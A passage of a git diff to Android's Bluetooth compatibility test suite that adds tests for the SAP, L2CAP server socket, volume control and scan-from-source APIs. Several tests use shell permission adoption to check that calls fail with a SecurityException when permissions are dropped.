         BluetoothManager manager = (BluetoothManager) mContext.getSystemService(
                 Context.BLUETOOTH_SERVICE);
         mBluetoothAdapter = manager.getAdapter();
@@ -94,14 +95,16 @@
     @Override
     public void tearDown() {
         if (!TestUtils.isBleSupported(getContext())) {
-          // mBluetoothAdapter == null.
-          return;
+            // mBluetoothAdapter == null.
+            return;
         }
 
         if (!mLocationOn) {
             TestUtils.disableLocation(getContext());
         }
         assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
     }
 
     /**
@@ -130,6 +133,7 @@
             return;
         }
 
+
         List<ScanFilter> filters = new ArrayList<ScanFilter>();
         ScanFilter filter = createScanFilter();
         if (filter == null) {
@@ -151,6 +155,53 @@
         }
     }
 
+
+    @MediumTest
+    public void testScanFromSourceWithoutFilters() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        android.Manifest.permission.BLUETOOTH_CONNECT,
+                        android.Manifest.permission.BLUETOOTH_PRIVILEGED,
+                        android.Manifest.permission.UPDATE_DEVICE_STATS
+                );
+        BleScanCallback filterLeScanCallback = new BleScanCallback();
+        mScanner.startScanFromSource(null, filterLeScanCallback);
+        TestUtils.sleep(SCAN_DURATION_MILLIS);
+        mScanner.stopScan(filterLeScanCallback);
+        TestUtils.sleep(SCAN_STOP_TIMEOUT);
+        Collection<ScanResult> scanResults = filterLeScanCallback.getScanResults();
+        Log.d(TAG, "scan result size " + scanResults.size());
+        assertTrue("scan results should not be empty", !scanResults.isEmpty());
+
+    }
+
+    @MediumTest
+    public void testScanFromSourceWithFilters() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        android.Manifest.permission.BLUETOOTH_CONNECT,
+                        android.Manifest.permission.BLUETOOTH_PRIVILEGED,
+                        android.Manifest.permission.UPDATE_DEVICE_STATS
+                );
+        BleScanCallback filterLeScanCallback = new BleScanCallback();
+        ScanSettings settings = new ScanSettings.Builder().setScanMode(
+                ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        mScanner.startScanFromSource(null, settings, null, filterLeScanCallback);
+        TestUtils.sleep(SCAN_DURATION_MILLIS);
+        mScanner.stopScan(filterLeScanCallback);
+        TestUtils.sleep(SCAN_STOP_TIMEOUT);
+        Collection<ScanResult> scanResults = filterLeScanCallback.getScanResults();
+        Log.d(TAG, "scan result size " + scanResults.size());
+        assertTrue("scan results should not be empty", !scanResults.isEmpty());
+    }
+
+
     // Create a scan filter based on the nearby beacon with highest signal strength.
     private ScanFilter createScanFilter() {
         // Get a list of nearby beacons.
@@ -248,7 +299,7 @@
                 .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY)
                 .setReportDelay(BATCH_SCAN_REPORT_DELAY_MILLIS).build();
         BleScanCallback batchScanCallback = new BleScanCallback();
-        mScanner.startScan(Collections.<ScanFilter>emptyList(), batchScanSettings,
+        mScanner.startScan(Collections.emptyList(), batchScanSettings,
                 batchScanCallback);
         TestUtils.sleep(SCAN_DURATION_MILLIS);
         mScanner.flushPendingScanResults(batchScanCallback);
@@ -278,7 +329,7 @@
         Intent broadcastIntent = new Intent();
         broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
         PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent,
-            PendingIntent.FLAG_IMMUTABLE);
+                PendingIntent.FLAG_IMMUTABLE);
         CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
         mScanner.startScan(null, null, pi);
         boolean gotResults = latch.await(20, TimeUnit.SECONDS);
@@ -309,7 +360,7 @@
         Intent broadcastIntent = new Intent();
         broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
         PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent,
-            PendingIntent.FLAG_IMMUTABLE);
+                PendingIntent.FLAG_IMMUTABLE);
         CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
         mScanner.startScan(filters, batchScanSettings, pi);
         boolean gotResults = latch.await(20, TimeUnit.SECONDS);
@@ -329,10 +380,25 @@
         }
     }
 
+    // Perform a BLE scan to get results of nearby BLE devices.
+    private Set<ScanResult> scan() {
+        BleScanCallback regularLeScanCallback = new BleScanCallback();
+        mScanner.startScan(regularLeScanCallback);
+        TestUtils.sleep(SCAN_DURATION_MILLIS);
+        mScanner.stopScan(regularLeScanCallback);
+        TestUtils.sleep(SCAN_STOP_TIMEOUT);
+        return regularLeScanCallback.getScanResults();
+    }
+
+    // Returns whether offloaded scan batching is supported.
+    private boolean isBleBatchScanSupported() {
+        return mBluetoothAdapter.isOffloadedScanBatchingSupported();
+    }
+
     // Helper class for BLE scan callback.
     private class BleScanCallback extends ScanCallback {
-        private Set<ScanResult> mResults = new HashSet<ScanResult>();
-        private List<ScanResult> mBatchScanResults = new ArrayList<ScanResult>();
+        private final Set<ScanResult> mResults = new HashSet<ScanResult>();
+        private final List<ScanResult> mBatchScanResults = new ArrayList<ScanResult>();
 
         @Override
         public void onScanResult(int callbackType, ScanResult result) {
@@ -352,7 +418,7 @@
         }
 
         // Clear regular and batch scan results.
-        synchronized public void clear() {
+        public synchronized void clear() {
             mResults.clear();
             mBatchScanResults.clear();
         }
@@ -377,19 +443,4 @@
 
     }
 
-    // Perform a BLE scan to get results of nearby BLE devices.
-    private Set<ScanResult> scan() {
-        BleScanCallback regularLeScanCallback = new BleScanCallback();
-        mScanner.startScan(regularLeScanCallback);
-        TestUtils.sleep(SCAN_DURATION_MILLIS);
-        mScanner.stopScan(regularLeScanCallback);
-        TestUtils.sleep(SCAN_STOP_TIMEOUT);
-        return regularLeScanCallback.getScanResults();
-    }
-
-    // Returns whether offloaded scan batching is supported.
-    private boolean isBleBatchScanSupported() {
-        return mBluetoothAdapter.isOffloadedScanBatchingSupported();
-    }
-
 }
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
new file mode 100644
index 0000000..1f220cd
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothSapTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothSap;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothSapTest extends AndroidTestCase {
+    private static final String TAG = BluetoothSapTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;;
+
+    private BluetoothSap mBluetoothSap;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+
+    private boolean mIsSapSupported;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+
+        if (!mHasBluetooth) return;
+
+        mIsSapSupported = TestUtils.isProfileEnabled(BluetoothProfile.SAP);
+        if (!mIsSapSupported) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        mAdapter = getContext().getSystemService(BluetoothManager.class).getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothSap = null;
+
+        mAdapter.getProfileProxy(getContext(), new BluetoothSapServiceListener(),
+                BluetoothProfile.SAP);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth && mIsSapSupported) {
+            if (mAdapter != null && mBluetoothSap != null) {
+                mBluetoothSap.close();
+                mBluetoothSap = null;
+                mIsProfileReady = false;
+            }
+            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mUiAutomation.dropShellPermissionIdentity();
+            mAdapter = null;
+        }
+    }
+
+    @MediumTest
+    public void test_getConnectedDevices() {
+        if (!mHasBluetooth || !mIsSapSupported) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothSap);
+
+        assertNotNull(mBluetoothSap.getConnectedDevices());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothSap.getConnectedDevices());
+    }
+
+    @MediumTest
+    public void test_getDevicesMatchingConnectionStates() {
+        if (!mHasBluetooth || !mIsSapSupported) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothSap);
+
+        int[] connectionState = new int[]{BluetoothProfile.STATE_CONNECTED};
+
+        assertTrue(mBluetoothSap.getDevicesMatchingConnectionStates(connectionState).isEmpty());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class,
+                () -> mBluetoothSap.getDevicesMatchingConnectionStates(connectionState));
+    }
+
+    @MediumTest
+    public void test_getConnectionState() {
+        if (!mHasBluetooth || !mIsSapSupported) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothSap);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertEquals(mBluetoothSap.getConnectionState(testDevice),
+                BluetoothProfile.STATE_DISCONNECTED);
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothSap.getConnectionState(testDevice));
+    }
+
+    @MediumTest
+    public void test_setgetConnectionPolicy() {
+        if (!mHasBluetooth || !mIsSapSupported) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothSap);
+
+        assertThrows(NullPointerException.class, () -> mBluetoothSap.setConnectionPolicy(null, 0));
+        assertThrows(NullPointerException.class, () -> mBluetoothSap.getConnectionPolicy(null));
+
+        mUiAutomation.dropShellPermissionIdentity();
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        assertThrows(SecurityException.class, () -> mBluetoothSap.setConnectionPolicy(testDevice,
+                    BluetoothProfile.CONNECTION_POLICY_FORBIDDEN));
+        assertThrows(SecurityException.class, () -> mBluetoothSap.getConnectionPolicy(testDevice));
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothSapServiceListener implements BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothSap = (BluetoothSap) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothServerSocketTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothServerSocketTest.java
new file mode 100644
index 0000000..134e4bd
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothServerSocketTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothServerSocket;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.io.IOException;
+
+public class BluetoothServerSocketTest extends AndroidTestCase {
+    private static final int SCAN_STOP_TIMEOUT = 1000;
+    private BluetoothServerSocket mBluetoothServerSocket;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+    private boolean mHasBluetooth;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_BLUETOOTH);
+        if (!mHasBluetooth) return;
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+        mBluetoothServerSocket = mAdapter.listenUsingL2capChannel();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+            if (mHasBluetooth && mBluetoothServerSocket != null) {
+                mBluetoothServerSocket.close();
+            }
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            mAdapter = null;
+            mBluetoothServerSocket = null;
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    public void test_accept() throws IOException {
+        assertThrows(IOException.class, () -> mBluetoothServerSocket.accept(SCAN_STOP_TIMEOUT));
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
new file mode 100644
index 0000000..34a4c66
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothVolumeControlTest.java
@@ -0,0 +1,279 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import static org.junit.Assert.assertThrows;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.bluetooth.BluetoothVolumeControl;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import java.util.List;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothVolumeControlTest extends AndroidTestCase {
+    private static final String TAG = BluetoothVolumeControlTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+
+    private BluetoothVolumeControl mBluetoothVolumeControl;
+    private boolean mIsVolumeControlSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+    private boolean mVolumeOffsetChangedCallbackCalled;
+    private TestCallback mTestCallback;
+    private Executor mTestExecutor;
+    private BluetoothDevice mTestDevice;
+    private int mTestVolumeOffset;
+
+    class TestCallback implements BluetoothVolumeControl.Callback {
+        @Override
+        public void onVolumeOffsetChanged(BluetoothDevice device, int volumeOffset) {
+            mVolumeOffsetChangedCallbackCalled = true;
+            assertTrue(device == mTestDevice);
+            assertTrue(volumeOffset == mTestVolumeOffset);
+        }
+    };
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                    PackageManager.FEATURE_BLUETOOTH);
+
+            if (!mHasBluetooth) return;
+
+            TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+
+            BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+            mAdapter = manager.getAdapter();
+            assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+            mProfileConnectedlock = new ReentrantLock();
+            mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
+            mIsProfileReady = false;
+            mBluetoothVolumeControl = null;
+
+            boolean isLeAudioSupportedInConfig =
+                     TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO);
+            boolean isVolumeControlEnabledInConfig =
+                     TestUtils.isProfileEnabled(BluetoothProfile.VOLUME_CONTROL);
+            if (isLeAudioSupportedInConfig) {
+                assertEquals(BluetoothStatusCodes.FEATURE_SUPPORTED, mAdapter.isLeAudioSupported());
+                /* If Le Audio is supported then Volume Control shall be supported */
+                assertTrue("Config must be true when profile is supported",
+                        isVolumeControlEnabledInConfig);
+            }
+
+            if (isVolumeControlEnabledInConfig) {
+                mIsVolumeControlSupported = mAdapter.getProfileProxy(getContext(),
+                        new BluetoothVolumeControlServiceListener(),
+                        BluetoothProfile.VOLUME_CONTROL);
+                assertTrue("Service shall be supported ", mIsVolumeControlSupported);
+
+                mTestCallback = new TestCallback();
+                mTestExecutor = mContext.getMainExecutor();
+            }
+        }
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            if (mBluetoothVolumeControl != null) {
+                mBluetoothVolumeControl.close();
+                mBluetoothVolumeControl = null;
+                mIsProfileReady = false;
+                mTestDevice = null;
+                mTestVolumeOffset = 0;
+                mTestCallback = null;
+                mTestExecutor = null;
+            }
+            if (mAdapter != null ) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+                mAdapter = null;
+            }
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    public void testGetConnectedDevices() {
+        if (!(mHasBluetooth && mIsVolumeControlSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothVolumeControl);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothDevice> connectedDevices = mBluetoothVolumeControl.getConnectedDevices();
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    public void testGetDevicesMatchingConnectionStates() {
+        if (!(mHasBluetooth && mIsVolumeControlSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothVolumeControl);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns empty list if bluetooth is not enabled
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothVolumeControl.getDevicesMatchingConnectionStates(null);
+        assertTrue(connectedDevices.isEmpty());
+    }
+
+    public void  testRegisterUnregisterCallback() {
+        if (!(mHasBluetooth && mIsVolumeControlSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothVolumeControl);
+
+        // Verify parameter
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothVolumeControl.registerCallback(null, mTestCallback));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothVolumeControl.registerCallback(mTestExecutor, null));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothVolumeControl.unregisterCallback(null));
+
+        // Test success register unregister
+        try {
+            mBluetoothVolumeControl.registerCallback(mTestExecutor, mTestCallback);
+        } catch (Exception e) {
+            fail("Exception caught from register(): " + e.toString());
+        }
+
+        try {
+            mBluetoothVolumeControl.unregisterCallback(mTestCallback);
+        } catch (Exception e) {
+            fail("Exception caught from unregister(): " + e.toString());
+        }
+
+        TestUtils.dropPermissionAsShellUid();
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothVolumeControl.registerCallback(mTestExecutor, mTestCallback));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    public void testSetVolumeOffset() {
+        if (!(mHasBluetooth && mIsVolumeControlSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothVolumeControl);
+
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        try {
+            mBluetoothVolumeControl.setVolumeOffset(mTestDevice, 0);
+        } catch (Exception e) {
+            fail("Exception caught from connect(): " + e.toString());
+        }
+    }
+
+    public void testIsVolumeOffsetAvailable() {
+        if (!(mHasBluetooth && mIsVolumeControlSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothVolumeControl);
+
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns false if bluetooth is not enabled
+        assertTrue(!mBluetoothVolumeControl.isVolumeOffsetAvailable(mTestDevice));
+    }
+
+    public void testVolumeOffsetCallback() {
+        if (!(mHasBluetooth && mIsVolumeControlSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothVolumeControl);
+
+        mTestDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mVolumeOffsetChangedCallbackCalled = false;
+
+        /* Note. This is just for api coverage until proper testing tools are set up */
+        mTestVolumeOffset = 1;
+        mTestCallback.onVolumeOffsetChanged(mTestDevice, mTestVolumeOffset);
+        assertTrue(mVolumeOffsetChangedCallbackCalled);
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothVolumeControlServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothVolumeControl = (BluetoothVolumeControl) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BufferConstraintsTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BufferConstraintsTest.java
index a7bc8a3..1e0ff7b 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BufferConstraintsTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BufferConstraintsTest.java
@@ -60,7 +60,7 @@
         }
         mBufferConstraints = new BufferConstraints(mBufferConstraintList);
 
-        for (int i = 0; i < BluetoothCodecConfig.SOURCE_CODEC_TYPE_MAX; i++) {
+        for (int i = 0; i < 6; i++) {
             assertEquals(DEFAULT_BUFFER_TIME, mBufferConstraints.forCodec(i).getDefaultMillis());
             assertEquals(MAXIMUM_BUFFER_TIME, mBufferConstraints.forCodec(i).getMaxMillis());
             assertEquals(MINIMUM_BUFFER_TIME, mBufferConstraints.forCodec(i).getMinMillis());
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
index 4e1419a..45cf44c 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/HearingAidProfileTest.java
@@ -16,6 +16,11 @@
 
 package android.bluetooth.cts;
 
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothHearingAid;
@@ -30,13 +35,14 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
 
-import java.io.IOException;
-import java.util.List;
+import androidx.test.InstrumentationRegistry;
+
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Unit test cases for {@link BluetoothHearingAid}.
@@ -61,6 +67,7 @@
     private BluetoothHearingAid mService;
     private BluetoothAdapter mBluetoothAdapter;
     private BroadcastReceiver mIntentReceiver;
+    private UiAutomation mUiAutomation;;
 
     private Condition mConditionProfileIsConnected;
     private ReentrantLock mProfileConnectedlock;
@@ -76,33 +83,34 @@
         if (!isBleSupported()) return;
         mIsBleSupported = true;
 
+        mIsHearingAidSupported = TestUtils.isProfileEnabled(BluetoothProfile.HEARING_AID);
+        if (!mIsHearingAidSupported) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
         BluetoothManager manager = (BluetoothManager) mContext.getSystemService(
                 Context.BLUETOOTH_SERVICE);
         mBluetoothAdapter = manager.getAdapter();
 
-        if (!BTAdapterUtils.enableAdapter(mBluetoothAdapter, mContext)) {
-            Log.e(TAG, "Unable to enable Bluetooth Adapter!");
-            assertTrue(mBluetoothAdapter.isEnabled());
-        }
-
+        assertTrue(BTAdapterUtils.enableAdapter(mBluetoothAdapter, mContext));
         mProfileConnectedlock = new ReentrantLock();
         mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
         mIsProfileReady = false;
         mService = null;
-        mIsHearingAidSupported = mBluetoothAdapter.getProfileProxy(getContext(),
-                                                  new HearingAidsServiceListener(),
-                                                  BluetoothProfile.HEARING_AID);
-        if (!mIsHearingAidSupported) return;
+        mBluetoothAdapter.getProfileProxy(getContext(), new HearingAidsServiceListener(),
+                BluetoothProfile.HEARING_AID);
     }
 
     @Override
     public void tearDown() {
-        if (!mIsBleSupported) return;
-
-        if (!BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext)) {
-            Log.e(TAG, "Unable to disable Bluetooth Adapter!");
-            assertTrue(mBluetoothAdapter.isEnabled());
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
         }
+        if (mBluetoothAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+        }
+        mUiAutomation.dropShellPermissionIdentity();
     }
 
     /**
@@ -140,6 +148,24 @@
     }
 
     /**
+     * Basic test case to make sure that a fictional device is disconnected.
+     */
+    @MediumTest
+    public void test_setVolume() {
+        if (!(mIsBleSupported && mIsHearingAidSupported)) {
+            return;
+        }
+
+        waitForProfileConnect();
+        assertTrue(mIsProfileReady);
+        assertNotNull(mService);
+
+        // This should throw a SecurityException because no BLUETOOTH_PRIVILEGED permission
+        assertThrows(SecurityException.class, () -> mService.setVolume(42));
+    }
+
+
+    /**
